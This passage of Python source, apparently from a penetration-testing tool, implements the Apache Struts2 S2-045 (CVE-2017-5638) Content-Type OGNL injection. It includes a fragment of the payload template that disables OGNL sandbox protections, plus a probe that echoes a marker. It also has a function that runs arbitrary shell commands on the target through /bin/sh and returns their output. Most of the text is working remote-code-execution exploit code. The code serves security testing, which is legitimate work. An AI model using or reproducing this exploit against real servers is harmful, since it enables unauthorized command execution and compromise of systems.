"(#ognlUtil.getExcludedPackageNames().clear())." "(#ognlUtil.getExcludedClasses().clear())." "(#context.setMemberAccess(#dm))))." "(#resp=@org.apache.struts2.ServletActionContext@getResponse())." "{ACTION}}") def _s2045Send(url, action): """Send one request carrying the S2-045 Content-Type payload ({ACTION} substituted in).""" payload = _S2045_TEMPLATE.replace("{ACTION}", action) try: page, _, _ = Request.getPage(url=url, auxHeaders={HTTP_HEADER.CONTENT_TYPE: payload}, raise404=False, silent=True) return getUnicode(page or "") except Exception as ex: logger.debug("S2-045 Content-Type probe failed: %s" % getUnicode(ex)) return "" def _probeStruts2Header(url): """Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command execution) and confirm it echoes back. Returns the marker on success, else None.""" marker = randomStr(length=16, lowercase=True) action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker page = _s2045Send(url, action) return marker if (page and marker in page) else None def _executeStruts2Header(url, cmd): """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also carries the action's own HTML.""" start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True) wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end) action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." "(#p.redirectErrorStream(true)).(#pr=#p.start())." "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) page = _s2045Send(url, action) if start in page and end in page: return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") return None def _dumpS2045(url, cmd): """Run one command via the S2-045 vector and report its output (or a no-output warning).""" output = _executeStruts2Header(url, cmd) if output is not None: conf.dumper.singleString("\nos-shell (%s) [S2-045 Content-Type]:\n%s" % (cmd, output)) else: logger.warning("no output received for OS command '%s'" % cmd)